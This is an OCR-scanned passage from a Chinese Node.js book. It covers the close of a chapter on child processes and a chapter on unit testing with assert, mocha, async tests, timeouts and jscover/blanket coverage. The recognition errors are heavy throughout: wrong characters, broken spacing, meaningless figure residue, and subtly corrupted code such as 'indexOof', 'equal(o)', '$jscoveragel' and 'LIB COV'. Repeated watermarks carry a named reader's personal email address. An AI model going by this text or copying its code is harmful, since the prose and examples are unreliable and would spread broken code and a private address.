这 些 事 件 大 多 跟 child process 模 块 的 事件 相关 ， 在 进程 间 消 息 传 递 的 基础 上 完成 的 封 猴 。 

这 些 事 件 对 于 增强 应 用 的 健壮 性 已 经 足够 了 。 


CO 


.5 总结 


尽管 Node 从 单线 程 的 角度 来 讲 它 有 人 够 脆弱 的 : 既 不 能 充分 利用 多 核 CPU 资 源 , 稳定 性 也 无 
法 得 到 保障 。 但 是 群体 的 力量 是 强大 的 ,通过 简单 的 主 从 模式 ， 就 可 以 将 应 用 的 质量 提升 一 个 
档次 。 在 实际 的 复杂 业务 中 ,我 们 可 能 要 局 动 很 多 子 进程 来 处 理 任务 ， 结 构 甚 至 远 比 主 从 模式 
复杂 ， 但 是 每 个 子 进程 应 当 是 简单 到 只 做 好 一 件 事 ， 然 后 通过 进程 间 通 信 技 术 将 它们 连接 起 来 
即 可 。 这 符合 Unix 的 设计 理念 ， 每 个 进程 只 做 一 件 事 ， 并 做 好 一 件 事 ， 将 复杂 分 解 为 简单 ， 将 
简单 组 合成 强大 。 

尽管 通过 child process 模 块 可 以 大 幅 提 升 Node 的 稳定 性 ， 但 是 一 旦 主 进程 出 现 问题 ， 所 
有 子 进 程 将 会 失去 管理 。 在 Node 的 进程 管理 之 外 , 还 需要 用 监听 进程 数量 或 监听 日 志 的 方式 确 
保 整 个 系统 的 稳定 性 ， 即 使 主 进程 出 错 退 出 ， 也 能 及 时 得 到 监控 警报 ,使 得 开发 者 可 以 及 时 人 处 
理 故 障 。 
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在 使 用 Node 进 行 实际 的 项 目 开 发 之 前 ， 我 内 心 也 曾 十 分 志 正 。 尽 管 JavaScript 历 史 悠 入 ,但 
相 较 成 束 的 后 端 语 言 而 言 ，Node 尚 且 算 是 新 普 同 和 学。 甚至 对 于 前 闫 ， 因 为 各 种 各 样 的 原因 ， 
JavaScript 的 测试 都 十 分 少 。Node 编 写 的 在 线 产品 ， 在 成 千 上 万 用 户 面 前 能 否 具备 恨 好 的 质量 保 
证 ， 我 是 心 存 疑问 的 。 

从 最 早 写 出 的 代码 让 目 己 睡 不 春 党 ， 无 法 精确 定位 bug 到 底 位 于 一 推 程序 里 的 哪个 位 置 ， 到 
后 来 很 踏实 地 面 对 目 己 产 出 的 代码 , 对 上 自己 代码 的 了 解 如 手心 纹路 那么 清晰 明了 。 从 面 对 问 题 时 
的 被 动 到 主动 ， 测 试 在 这 个 演变 过 程 中 起 到 了 至 关 重 要 的 作用 。 

测试 的 意义 在 于 , 在 用 户 消费 产 出 的 代码 之 前 , 开发 者 首先 消费 它 , 给 予 其 重要 的 质量 保证 。 
这 里 值得 提醒 的 是 ，JavaScript 开 发 者 需要 转变 观念 ， 正 视 上 自己 的 代码 ， 对 目 己 产 出 的 代码 负责 。 
为 日 己 的 代码 写 测 试用 例 则 是 一 种 行 之 有 效 的 方法 , 它 能 够 让 开发 者 明确 擎 握 到 代码 的 行为 和 性 
能 等 。 

测试 包含 单元 测试 、 性 能 测试 、 安 全 测试 和 功能 测试 等 几 个 方面 , 本 曹 将 从 Node 实 践 的 角度 
来 介绍 单元 测试 和 性 能 测试 。 


10.1 单元 测试 


单元 测试 在 软件 项 目 中 扮演 着 举足轻重 的 角色 , 是 几 种 软件 质量 保证 的 方法 中 投入 产 出 比 最 
高 的 一 种 。 尽 管 在 过 去 的 JavaScript 开 发 中 ， 绝 大 多 数 人 都 忽视 了 这 个 环节 ， 但 今天 Node 的 盛行 
让 我 们 不 得 不 重新 审视 这 块 领域 。 


10.1.1 单元 测试 的 意义 


最 初 接触 单元 测试 时 ， 很 多 开发 者 都 很 疑惑 ， 目 己 写 的 代码 ， 目 己 写 测试 ,这 件 事 的 意义 何 
在 ? 有 的 团队 则 配备 了 专门 的 测试 工程 师 帮 助 开发 者 测试 代码 。 这 里 第 一 种 对 目 己 写 的 代码 不 在 
意 的 行为 是 开发 者 对 自己 测试 目 己 代码 心 存 侥幸， 认为 测试 是 一 种 形式 ， 小 算盘 是 既然 是 形式 ， 
那 为 何 要 去 实践 。 如 果 强 迫 实践 ， 那 就 随意 写 写 ， 花 混 过 关 吧 ， 这 使 得 开发 者 不 正视 测试 代码 ， 
进而 不 正视 上 月 己 的 代码 。 配 备 专 门 的 测试 工程 师 则 让 开发 者 对 测试 人 员 产 生 依赖 ,完全 不 关心 月 
己 代码 的 测试 。 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


202 第 10 章 ”测试 


这 里 需要 倡导 的 是 , 开发 者 应 该 吃 自己 的 狗 粮 。 项 目 成 员 共 同 开 发 出 来 的 代码 会 构成 项 目的 
产品 , 开发 者 写 出 来 的 代码 是 开发 者 自己 的 产品 。 要 保证 产品 的 质量 ， 就 应 该 有 相应 的 手段 去 验 
证 。 对 于 开发 者 而 言 ， 单 元 测试 就 是 最 基本 的 一 种 方式 。 如 果 开 发 者 不 上 自己 测试 代码 , 那 必 然 要 
面 对 如 下 问题 。 

(1) 测试 工程 师 是 否 可 依赖 ? 

这 里 涉及 的 问题 有 两 个 层面 。 第 一 个 层面 是 测试 工程 师 是 否 熟悉 Node 领 域 , 不 了 解 一 个 领域 
而 只 凭借 过 往 经 验 来 对 这 个 项 目 进 行 测试 , 有 可 能 演变 为 敷衍 的 行为 ,这 对 质量 保证 的 目标 背 道 
而 驰 。 另 一 个 层面 是 ， 如 果 存 在 人 事变 动 等 原因 ， 可 能 并 不 一 定 履 盖 到 开发 者 的 代码 ， 从 而 使 测 
试用 例 的 维护 成 本 变 高 。 

(2) 第 三 方 代码 是 否 可 信赖 ? 

对 于 Node 开 源 社区 而 言 (共有 3 万 多 模块 ), 作为 一 个 不 知名 的 开发 者 ,其 产 出 的 模块 如 果 连 
单元 测试 都 没有 提供 ， 使 用 者 在 挑选 模块 时 ， 内 心 也 会 闪 过 多 个 “ 靠 谱 吗 ”的 疑问 。 

(3) 在 产品 迭代 过 程 中 ， 如 何 继续 保证 质量 ? 

单元 测试 的 意义 在 于 每 个 测试 用 例 的 窗 盖 都 是 一 种 可 能 的 承诺 。 如 果 API 升 级 时 ， 测 试用 例 
可 以 很 好 地 检查 是 否 癌 下 兼容 。 对 于 各 种 可 能 的 输入 ,一旦 测试 覆盖 ， 都 能 明确 它 的 输出 。 代 码 
改动 后 ， 可 以 通过 测试 结果 判断 代码 的 改动 是 否 影响 已 确定 的 结 

对 于 上 述 问题 ， 如 果 你 的 答案 是 不 关心 , 那么 恭喜 你 ， 你 的 项 目 只 能 供 短 时 间 玩 玩 ， 甚 至 只 
是 个 演示 产品 。 

另 一 个 对 单元 测试 持 疑 的 观点 是 , 如 果 要 在 项 目 中 进行 单元 测试 , 那么 势必 会 影响 开发 者 的 
项 目 进度 。 这 个 答案 是 肯定 的 ， 因 为 产 出 品质 可 以 久 经 考验 的 产品 ， 必 然 要 花费 较 多 的 精力 。 如 
果 只 是 豆腐 酒 工程 , 自然 可 以 快速 产 出 。 区别 在 于 后 续 维护 的 差异 , 因为 有 单元 测试 的 质量 保证 ， 
可 以 放心 地 增加 和 删除 功能 。 后 者 则 会 陷入 举步维艰 的 维护 之 路 , 拆 东 墙 补 西 墙 , 开发 者 也 渐渐 
变 得 只 想 做 新 项 目 ， 而 旧 的 项 目 最 后 变 得 不 可 维护 ， 或 者 不 敢 维 护 。 甚 至 到 项 目下 线 时 ， 依 然 充 
斥 幽 灵 代 人 码 和 重复 代码 。 

单元 测试 只 是 在 早期 会 多 花费 一 定 的 成 本 ,但 这 个 成 本 要 远 远 低 于 后 期 深 隐 维护 泥潭 的 投 
入 。 至 于 是 选择 在 早期 投入 成 本 还 是 在 后 期 投入 ， 只 是 阴 三 幕 四 还 是 绷 四 疹 三 的 选择 。 

展开 介绍 单元 测试 之 前 , 需要 提 及 的 问题 是 代码 的 可 测试 性 , 它 是 能 够 为 其 编写 单元 测试 的 
前 提 条 件 。 复杂 的 逻辑 代码 充满 各 种 分 文 和 判断 , 甚至 像 面 条 一 样 乱 作 一 团 , 要 对 它们 进行 测试 ， 
难度 相当 大 。 一 个 感觉 就 是 当 无 法 为 一 段 代 码 写 出 单元 测试 时 ， 这 段 代码 必然 有 坏 味道 ， 这 会 为 
开发 者 带 来 心理 压力 , 这样 的 代码 最 需要 重 构 。 好 代码 的 单元 测试 必然 是 轻 量 的 , 重 构 和 写 单元 
测试 之 间 是 一 个 相互 促进 的 步 又， 当 重 构 代 码 的 压力 比较 小 的 时 候 ， 也 就 意味 着 代码 比较 稳定 ， 
代码 的 可 测试 性 越 好 ， 甚 至 代码 越 简 洁 。 

简单 而 言 ， 编 写 可 测试 代码 有 以 下 几 个 原则 可 以 遵循 。 

口 单一 职责 。 如 果 一 段 代码 承担 的 职责 越 多 ， 为 其 编写 单元 测试 的 时 候 就 要 构造 更 多 的 输 

入 数据 ， 然 后 推测 它 的 输出 。 比 如 ， 一 段 代 码 中 既 包含 数据 库 的 连接 ， 也 包含 查询 ， 那 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


10.1 单元 测试 203 


么 为 它 编写 测试 用 例 就 要 同时 关注 数据 库 连 接 和 数据 库 查 询 。 较 好 的 方式 是 将 这 两 种 职 
员 进 行 解 厢 分 离 ， 变 成 两 个 单一 职 贡 的 方法 ,分 别 测试 数据 库 连 接 和 数据 库 查 询 。 

口 接口 抽象 。 通 过 对 程序 代码 进行 接口 抽象 后 ， 我 们 可 以 针对 接口 进行 测试 ， 而 有 具体 代码 
实现 的 变化 不 影响 为 接口 编写 的 单元 测试 。 

口 层次 分 离 。 层 次 分 离 实际 上 有 是 单一 职责 的 一 种 实现 。 在 MVC 绪 构 的 应 用 中 ， 就 是 
层次 分 离 模 型 ， 如 采 不 分 离 各 个 层次 ， 无 法 想象 这 个 代码 该 如 何 切 人 测试 。 通 过 
后 ， 可 以 逐 层 测试 ， 逐 层 保证 。 

对 于 开发 者 而 言 ， 不 仪 要 编写 单元 测试 ， 还 应 当 编 写 可 测试 代码 。 


典型 的 
分 层 之 


10.1.2 ”单元 测试 介绍 


单元 测试 主要 包含 断言 、 测 试 框 并 、 测 斌 用例、 测试 复 兰 率 、mock、 持 续集 成 等 儿 个 方面 ， 
由 于 Node 的 特殊 性 ， 它 还 会 加 入 异步 代码 测试 和 私有 方法 的 测试 这 两 个 部 分 。 

1. 断言 

鉴于 JavaScript 入 门 较为 容易 , 在 开源 社区 中 可 以 看 到 许多 不 融 单 元 测试 的 模块 出 现 , 甚至 有 
的 模块 作者 并 不 了 解 单 元 测试 究竟 是 怎么 回 事 。 开 发 者 通 稼 仅仅 在 testjs 或 者 demo.js 里 看 到 示例 
代码 ， 这 对 想 进 一 步 使 用 模块 的 用 户 会 存在 心理 负担 。 以 下 为 某 个 开源 模块 的 示例 代码 : 


var readOF = require("readof"); 

readOF .read(pic, target path, function (error, data) { 
// do something 

}); 


此 类 代码 对 质量 没有 任何 保证 ， 这 主要 源 于 以 下 两 点 。 

口 没有 对 输出 结果 进行 任何 的 检测 。 

口 输入 条 件 履 盖 率 并 不 完备 。 

这 样 的 示例 代码 展现 的 是 “It works” 而 不 是 “Testing”。 示 例 代 码 可 以 正常 运行 并 不 代表 代 
但 是 没有 问题 的 。 如 何 对 输出 结果 进行 检测 ， 以 确认 方法 调用 是 正 凋 的 ,是 最 基本 的 测试 点 。 断 
言 就 是 单元 测试 中 用 来 保证 最 小 单元 是 否 正常 的 检测 方法 。 

如 果 有 对 Node 的 源码 进行 过 研究 ， 会 发 现 Node 中 存在 着 assert 这 个 模块 ， 以 及 很 多 主要 模 
块 都 调用 了 这 个 模块 。 何 谓 断 言 ， 维 基 百 科 上 的 解释 是 : 


在 程序 设计 中 ， 断 言 (assertion ) 是 一 种 放 在 程序 中 的 一 阶 逻 辑 〈( 如 一 个 结果 为 真 
或 是 假 的 逻辑 判断 式 )， 目 的 是 为 了 标示 程序 开发 者 预期 的 结果 一 一 当 程序 运行 到 断言 
的 位 置 时 ， 对 应 的 断言 应 该 为 真 。 若 断言 不 为 真 ， 程序 会 中 止 运行 ， 并 出 现 错 误 信息 。 
一 言 以 责 之 ， 上 断言 用 于 检查 程序 在 运行 时 是 否 满足 期 望 。JavaScript 的 断言 规范 最 早 来 目 于 10 
CommonJS 的 单元 测试 规范 ( 详 见 http:/wiki.commonjs.org/wikiUnit Testing/1.0 )，Node 实 现 了 规 
范 中 的 断言 部 分 。 
如 下 代码 是 assert 模 块 的 工作 方式 : 
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var assert = require('assert'); 
assert.equal(Math.max(1, 100), 100); 


一 日 assert.equal() 不 满足 期 望 ， 将 会 抛 出 AssertionError 异 常 ， 整 个 程序 将 会 停止 执行 。 没 
有 对 输出 结果 做 任何 断言 检查 的 代码 ， 都 不 是 测试 代码 。 没 有 测试 代码 的 代码 ， 痢 是 不 可 信赖 的 
1 
在 断言 规范 中 ， 我 们 定义 了 以 下 几 种 检测 方法 。 
D ok(): 判断 结 末 是 否 为 真 。 
D equal(): 判断 实际 值 与 期 望 值 是 否 相 等 。 
口 notEqual(): 判断 实际 值 与 期 望 值 是 否 不 相等 。 
口 deepEqual(): 判断 实际 值 与 期 望 值 是 否 次 度 相 等 〈 对 象 或 数组 的 元 素 是 否 相 等 )。 
D notDeepEqual(): 判断 实际 值 与 期 望 值 是 否 不 深度 相等 。 
口 strictEqual(): 判断 实际 值 与 期 望 值 是 否 严格 相等 (相当 于 === )。 
D notStrictEqual(): 判断 实际 值 与 期 望 住 是否 不 严格 相等 《相当 于 !== )。 
D throws(): 判断 代码 块 是 否 抛 出 异常 。 
除 此 之 外 ，Node 的 assert 模 块 还 扩充 了 如 下 两 个 断言 方法 。 
口 doesNotThrow(): 判断 代码 块 是 否 没 有 抛 出 异常 。 
口 ifError(): 判断 实际 值 是 否 为 一 个 假 值 (null、undefined、0、''、false )， 如 果实 际 值 
为 破 值 ， 将 会 抛 出 异常 。 
目前 ,市面 上 的 断言 库 大 多 都 是 基于 assert 模 块 进行 封装 和 扩展 的 ， 这 包括 车 名 的 should.js 
荐 [ 言 库 。 
2. 测试 框架 
有 醒 面 提 到 汤 言 一 旦 检查 失败 , 将 会 抛 出 异 向 俘 止 整个 应 用 , 这 对 于 做 大 规模 断言 检查 时 并 不 
友好 。 更 通用 的 做 法 是 ,记录 下 抛 出 的 异常 并 继续 执行 ， 最 后 生成 测试 报告 。 这 些 任务 的 承担 者 
就 是 测试 框架 。 
测试 框架 用 于 为 测试 服务 ， 它 本 刁 并 不 参与 测试 ， 主 要 用 于 管理 测试 用 例 和 生成 测试 报告 ， 
提升 测试 用 例 的 开发 速度 ,提高 测试 用 例 的 可 维护 性 和 可 谈 性 ， 以 及 一 些 周 边 性 的 工作 。 这 里 我 
们 要 介绍 的 优秀 单元 测试 框架 是 mocha, 它 来 目 Node 社 区 的 明星 开发 者 TJHolowaychuk。 通 过 npm 
install mocha 命 令 即 可 安装 ， 在 安装 时 添加 -8 命令 可 以 将 其 安装 为 全 局 工具 。 
@ 测试 风格 
我 们 将 测试 用 例 的 不 同 组 织 方式 称 为 测试 风格 , 现今 流行 的 单元 测试 风格 主要 有 TDD (测试 
驱动 开发 ) 和 BDD (行为 驱动 开发 ) 两 种 ， 它 们 的 差别 如 下 所 示 。 
口 关注 点 不 同 。TDD 关 注 所 有 功能 是 否 被 正确 实现 ， 每 一 个 功能 都 具备 对 应 的 测试 用 例 ，; 
BDD 关 注 整 体 行为 是 否 符合 预期 ， 适 合 自 项 向 下 的 设计 方式 。 
口 表达 方式 不 同 。TDD 的 表述 方式 偏 癌 于 功能 说 明 书 的 风格 ; BDD 的 表述 方式 更 接近 于 目 
然 语 言 的 习惯 。 
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mocha 对 于 两 种 测试 风格 都 有 支持 。 下 面 为 两 种 测试 风格 的 示例 ， 其 BDD 风 格 的 示例 如 下 : 


describe('Array', function(){ 
before(function( ){ 
J se 


}); 


describe('#indexOf()', function()t{ 
it('should return -1 when not present', function(){ 
[1,2,3].indexOf(4).should.equal(-1); 
}); 
}); 
193 
BDD 对 测试 用 例 的 组 织 主 要 采用 describe 和 it 进 行 组 织 。describe 可 以 描述 多 层级 的 结构 ， 
具体 到 测试 用 例 时 ， 用 it。 另 外 ， 它 还 提供 before、after、beforeEach 和 afterEach 这 4 个 钓 子 方 
法 ， 用 于 协助 describe 中 测试 用 例 的 准备 、 安 装 、 名 载 和 回收 等 工作 。before 和 after 分 别 在 进入 
和 退出 describe 时 触发 执行 ，beforeEach 和 afterEach 则 分 别 在 describe 中 每 一 个 测试 用 例 ( it ) 
执行 前 和 执行 后 触发 执行 。 
BDD 风 格 的 组 织 示 意图 如 图 10-1 所 示 。 


图 10-1 BDD 风 格 的 组 织 示意 图 


TDD 风 格 的 示例 如 下 所 示 : 


suite('Array', function(){ 
setup(function(){ 
1 
}); 


suite('#indexOf()', function(){ 
test('should return -1 when not present', function(){ 
assert.equal(-1, [1,2,3].indexOof(4)); 
}); 
}); 
}); 


TDD 对 测试 用 例 的 组 织 主要 采用 suite 和 test 完 成 。suite 也 可 以 实现 多 层级 描述 ,测试 用 例 
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用 test。 它 提供 的 钓 子 函数 仪 包含 setup 和 teardown， 对 应 BDD 中 的 before 和 after。TDD 风 格 的 
组 织 示意 图 如 图 10-2 所 示 。 


tT 
1 


| *test,]s ， 
! 


Se ee i i i et ke 


i i td Dt id td i 


Me ed ed dt le 


图 10-2 TDD 风格 的 组 织 示 意图 


@ 测试 报告 

作为 测试 框架 ，mocha 设 计 得 十 分 灵活 ， 它 与 断言 之 间 并 不 耦合 ， 使 得 具体 的 测试 用 例 既 可 
以 采用 assert 原 生 模 块 ， 也 可 以 采用 扩展 的 断言 库 ， 如 should.js、expect 和 chai 等 。 但 无 论 采 用 
哪个 断言 库 ， 运 行 测试 用 例 后 ， 测 试 报告 是 开发 者 和 质量 管理 者 都 关注 的 东西 。 

mocha 提 供 了 相当 丰富 的 报告 格式 ， 调 用 mocha --reporters 即 可 查看 所 有 的 报告 格式 : 


$ mocha --reporters 


dot - dot matrix 

doc - html documentation 

spec - hierarchical spec list 

json - single json object 

progress - progress bar 

list - spec-style listing 

tap - test-anything-protocol 

landing - unicode landing strip 

xunit - xunit reporter 

teamcity - teamcity ci support 

html-cov - HTML test coverage 

Json-cov - JSON test coverage 

min - minimal reporter (great with --watch) 
json-stream - newline delimited json events 
markdown - markdown documentation (github flavour) 
nyan - nyan cat! 


默认 的 报告 格式 为 dot， 其 他 比较 常用 的 格式 有 spec、json、html-cov 等 。 执 行 mocha -R 
<reporter> 命 令 即 可 采用 这 些 报 告 。json 报 告 因为 其 格式 非常 通用 ， 多 用 于 将 结果 传递 给 其 他 程 
序 进 行 处 理 ， 而 html-cov 则 用 于 可 视 化 地 观察 代码 必 新 率 。 图 10-3 是 spec 格 式 的 报告 。 

如 果 有 测试 用 例 执 行 失 败 ， 会 得 到 如 图 10-4 所 示 的 结 
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mocha bash 


六 Mocha Cmaster’s make test 


Pray 
RirndexOF 


其 pop [ 有 | 


» Mocha Cmaster)s 


图 10-3” ”spec 格式 的 报告 
执行 mocha -help 命 令 可 以 看 到 更 多 的 帮助 信息 来 了 解 如 何 使 用 它们 。 


mocha bash 


六 TOchao Cmasterds make test 


BPray 
RLrndexOre 


其 peop C 了 


BBrray nden ofey should PEtUPF -1 when the value 18 Mot PreESEh 二 1 


make: +***¥ [test-untt] Error 1 
图 10-4 ”有 测试 用 例 执 行 失 败 时 的 结 


3. 测试 代码 的 文件 组 织 

还 记得 第 2 章 中 介绍 到 的 包 规范 吗 ? 包 规 范 中 定义 了 测试 代码 存在 于 test 目 录 中 , 而 模块 代码 
存在 于 lib 目 录 下 。 

除 此 之 外 ， 想 让 你 的 单元 测试 顺利 运行 起 来 ， 请 记得 在 包 描 述 文件 ( package.json ) 中 添加 10 
相应 模块 的 依赖 关系 。 由 于 mocha 只 在 运行 测试 时 瑚 要 ， 所 以 添加 到 devDependencies 记 点 即 可 : 


"devDependencies": { 
"mocha": uk" 


} 
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4. 测试 用 例 
介绍 完 测试 框架 的 基本 功能 后 ,我 们 对 测试 用 例 也 有 了 简单 的 认 知 了 。 人 简单 来 讲 , 一 个 行为 
或 者 功能 需要 有 完善 的 、 多 方面 的 测试 用 例 , 一 个 测试 用 例 中 包含 至 少 一 个 断言 。 示例 代码 如 下 : 
describe('#indexOf()', function(){ 
it('should return -1 when not present', function(){ 


[1,2,3].indexOof(4).should.equal(-1); 
}); 


it('should return index when present', function(){ 
[1,2,3].indexOf(1).should.equal(o); 
[1,2,3].indexof(2).should.equal(1) ; 
[1,2,3].indexOf(3).should.equal(2); 


3 


}); 

测试 用 例 最 少 需 要 通过 正 癌 测试 和 反问 测试 来 保证 测试 对 功能 的 窗 盖 , 这 是 最 基本 的 测试 用 
例 。 对 于 Node 而 言 ， 不 仅 有 这 样 徐 单 的 方法 调用 ， 还 有 异步 代码 和 超时 设置 需要 关注 。 

@ 异步 测试 

由 于 Node 环 境 的 特殊 性 ， 异 步调 用 非常 常见 ， 这 也 种 来 了 异步 代码 在 测试 方面 的 挑战 。 在 
其 他 典型 编程 语言 中 ， 如 Java、Ruby、Python， 代 码 大 多 是 同步 执行 的 ， 所 以 测试 用 例 基 本 上 
只 要 包含 一 些 断 言 检 查 返 回 值 即 可 。 但 是 在 Node 中 ， 检查 方法 的 返回 值 毫 无 意义 ， 并 日 不 知道 
回调 孔 数 具体 何 时 调用 结束 ， 这 将 导致 我 们 在 对 异步 调用 进行 测试 时 ， 无 法 调度 后 续 测 试用 例 
的 执行 。 

所 等 ，mocha 解 决 了 这 个 问题 。 以 下 为 fs 模块 中 readFile 的 测试 用 例 : 


it('fs.readFile should be ok', function (done) { 
fs.readFile('file path', 'utf-8', function (err, data) { 
should.not .exist(err); 
done(); 
}); 
}); 


在 上 述 代码 中 ,测试 用 例 方法 it() 接 受 两 个 参数 ;用例 标题 ( title ) 和 回调 函数 (fh )。 通 过 
分 查 这 个 回调 也 数 的 形 参 长 度 ( fn.length ) 来 判断 这 个 用 例 是 否 是 异步 调用 ， 如 果 是 异步 调用 ， 
在 执行 测试 用 例 时 ,会 将 一 个 函数 done() 注 入 为 实 参 , 测试 代码 需要 主动 调用 这 个 旺 数 通知 测试 
框架 当前 测试 用 例 执行 完成 ， 然 后 测试 框架 才 进 行 下 一 个 测试 用 例 的 执行 ， 这 与 第 4 章 里 提 到 的 
尾 触发 十 分 类 似 。 

@ 超时 设置 

异步 方法 给 测试 审 来 的 问题 并 不 是 断言 方面 有 什么 异同 , 主要 在 于 回调 函数 执行 的 时 间 无 从 
了 预期。 通过 上 面 的 例子 , 我们 无 法 知道 done() 有 具体 在 什么 时 间 执 行 。 如 果 代 码 偶然 出 错 , 导致 done() 
一 下 没有 执行 ， 将 会 造成 所 有 的 测试 用 例 处 于 暂停 状态 ， 这 显然 不 是 框架 所 期 望 的 。 

mocha 给 所 有 涉及 异步 的 测试 用 例 话 加 了 超时 限制 ， 如 果 一 个 用 例 的 执行 时 间 超 过 了 预期 时 
间 ， 将 会 记录 下 一 个 超时 错误 ， 然 后 执行 下 一 个 测试 用 例 。 
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下 面 这 个 测试 用 例 因为 10 秒 后 才 执行 ， 导 致 测试 框架 处 理 为 超时 错误 : 


it('async test', function (done) { 
// 模拟 一 个 要 执行 很 久 的 异步 方法 
setTimeout (done, 10000); 


}); 
mocha 的 默认 超时 时 间 为 2000 毫 秒 。 一 般 情 次 下 ， 通 过 mocha -t <ms> 设 置 了 所有 用 例 的 超时 时 
间 。 乔 需 更 细 粒 度 地 设置 超时 时 间 ， 可 以 在 测试 用 例 计 中 调用 this.timeout(ms) 实 现 对 单个 用 例 
的 特殊 设置 ， 示 例 代 码 如 下 : 
it('should take less than 500ms', function (done) { 
this .timeout(500 ) ; 
setTimeout (done, 300); 


中， 
也 可 以 在 描述 describe 中 调用 this.timeout(ms) 设 置 描 述 下 当前 层级 的 所 有 用 例 : 


describe('a suite of tests', function(){ 
this .timeout(500 ) ; 
it('should take less than 500ms', function (done) { 
setTimeout(done, 300); 


}); 


it('should take less than 500ms as well', function (done) { 
setTimeout(done, 200); 


}); 
}); 


5. 测试 履 盖 率 

通过 不 停 地 给 代码 添加 测试 用 例 , 将 会 不 断 地 和 覆盖 代码 的 分 支 和 不 同 的 情况 。 但 是 如 何 判 断 
单元 测试 对 代码 的 覆盖 情况 , 我 们 需要 直观 的 工具 来 体现 。 测试 覆盖 率 是 单元 测试 中 的 一 个 重要 
指标 ， 它 能 够 概括 性 地 给 出 整体 的 宪 盖 度 ， 也 能 明确 地 给 出 统计 到 行 的 覆盖 情况 。 

对 于 如 下 这 段 代码 : 


exports.parseAsync = function (input, callback) { 
setTimeout(function () { 
var result; 
try { 
result = JSON.parse(input); 
} catch (e) { 
return callback(e); 
} 
callback(null, result); 
}, 10); 
}; 


我 们 为 其 深 加 部 分 测试 用 例 ， 有 具体 如 下 : 


describe('parseAsync', function () { 
it('parseAsync should ok', function (done) { 
lib.parseAsync('{"name": "JacksonTian"}', function (err, data) { 
should.not.exist(err); 
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data.name.should.be.equal('JacksonTian'); 
done() ; 


厂 要 探知 这 个 测试 用 例 对 源 代 人 码 的 窗 盖 率 , 需要 一 种 工具 来 统计 每 一 行 代码 是 否 执行 , 这 里 
要 介绍 的 相关 工具 是 jscover 模 块 。 通 过 npm install jscover -g 的 方式 可 以 安装 该 模块 。 

假设 你 的 这 段 代 码 膛 循 CommonJS 规 范 并 且 存 放 在 lib 目 录 下 ， 那 么 调用 jscover lib 1ib-cov 
进行 源 代码 的 编译 吧 。jscover 会 将 lib 目 录 下 的 .js 文件 编译 到 ]ib-cov 目 录 下 ， 你 会 得 到 类 似 下 面 的 
代码 : 


$jscoveragel[ ' index.js' ][31]++; 
exports.parseAsync = function(input, callback) { 
$jscoveragel[ 'index.js' ][32]++; 
setTimeout(function() { 
$jscoveragel['index.js' ][33]++; 
var result; 
_$jscoverage[ index.js ][34]++; 
try { 
$jscoveragel[' index.js' ][35]++; 
result = JSON.parse(input); 
} catch (e) { 
$jscoveragel['index.js' ][37]++; 
return callback(e); 


} 
_$jscoverage[ 'index.js'][39]++; 
callback(null, result); 

},10); 

}; 


我 们 看 到 ， 每 一 行 原 始 代 码 的 前 面 都 有 一 些 $jscoverage 的 代码 出 现 ， 它 们 将 会 在 执行 时 统 
计 每 一 行 代码 被 执行 了 多 少 次 ， 也 即 除 了 统计 是 否 执行 外 ， 还 能 统计 次 数 。 

在 测试 代码 时 ， 我 们 通常 通过 require 引 入 lib 目 录 下 的 文件 进行 测试 。 但 是 为 了 得 到 测试 履 
兰 率 ， 必 须 在 运行 测试 用 例 时 执行 编 详 之 后 的 代码 。 

为 了 区 分 这 种 注入 代码 和 原始 代码 的 区 别 ， 我 们 在 模块 的 入 口 文 件 (通常 是 包 目 录 下 的 
index.js ) 中 需要 做 简单 的 区 别 ， 示 例 代 码 如 下 : 

module.exports = process.env.LIB COV ? require('./lib-cov/index') : require('./lib/index'); 

在 运行 测试 代码 时 ， 会 设置 一 个 LIB_COV 的 环境 变量 ， 以 此 区 分 测试 环境 和 正常 环境 。 

备 甩 编 谋 好 的 代码 之 后 ， 执 行 以 下 命令 行 即 可 得 到 履 盖 率 的 输出 结 末 : 

// 设置 当前 命令 行 有 效 的 变量 


export LIB COV=1 
mocha -R html-cov > coverage.html 


这 个 流程 的 示意 图 如 图 10-5 所 示 。 
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lib 编译 一 | lib-cov 


require 


测试 
图 10-5 ”流程 示意 图 


在 这 次 测试 中 ， 我 们 用 到 了 htm1-cov 报 告 ， 它 帮 我 们 生成 了 一 张 HTML 页面 ， 具 体 地标 出 了 


哪 一 行 未 执行 到 ， 整 体 履 盖 率 为 多 少 。 图 10-6 为 页 面 堆 图， 从 中 可 以 看 到 有 一 行 代 码 没 有 被 测 
试 到 。 


Coverage 


图 10-6 履 盖 率 测试 结 


单元 测试 履 兰 率 方便 我 们 定位 疫 有 测试 到 的 代码 行 。 通 帝 , 我 们 往往 会 不 经 音 地 踪 源 挥 一 些 
异 第 情况 的 覆盖 。 


构造 一 个 错误 的 输入 可 以 履 荔 错误 情况 ， 下 面 我 们 为 其 补足 测试 用 例 : 


it('parseAsync should throw err', function (done) { 
lib.parseAsync('{"name": "JacksonTian"}}', function (err, data) { 
should.exist(err); 
done() ; 
}); 
}); 
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再 次 执行 测试 用 例 ， 我 们 将 得 到 一 个 100% 宪 盖 率 的 页 面 ， 如 图 10-7 所 示 。 


[5 
Coverage 


rlsi 恨 


图 10-7 100% 和 覆盖 率 的 页 面 

在 使 用 过 程 中 ， 也 可 以 使 用 json-cov 报 告 ， 这 样 结果 数据 对 其 余 系统 较为 友好 。 事 实 上 ， 
html-cov 报 告 即 是 采用 json-cov 的 数据 与 模板 演 染 而 成 的 。 

jscover 模 块 虽然 已 经 够 用 ,但 是 还 有 两 个 问题 。 


口 它 的 编 详 部 分 是 


通过 Java 实 现 的 ， 这 样 环境 依 赖 上 就 多 出 了 Java。 
口 它 需 要 编译 代码 到 一 个 额外 的 新 目录 ， 这 个 过 程 相对 有 麻烦。 


而 blanket 模 块 解决 了 这 两 个 问题 , 它 由 纯 JavaScript 实 现 ， 编 译 代 码 的 过 程 也 是 隐 式 的 ,无 须 
配置 额外 的 目录 ， 对 于 原 模 块 项 目 没 有 额外 的 侵入 。 


blanket 与 jscover 的 原理 基本 一 致 ， 在 实现 过 程 上 有 所 不 同 ， 其 差别 在 于 blanket 将 编译 的 步骤 
注入 在 require 中 ， 而 不 是 去 额外 编 详 成 文件 ， 执 行 测试 时 再 去 引用 编 详 后 的 文件 ， 它 的 技巧 在 
require 中 。 


它 的 配置 比 jscover 要 简单， 只 需要 在 所 有 测试 用 例 运 行 之 前 通过 - -require 选 项 引入 它 即 可 : 


mocha --require blanket -R html-cov > coverage.html 


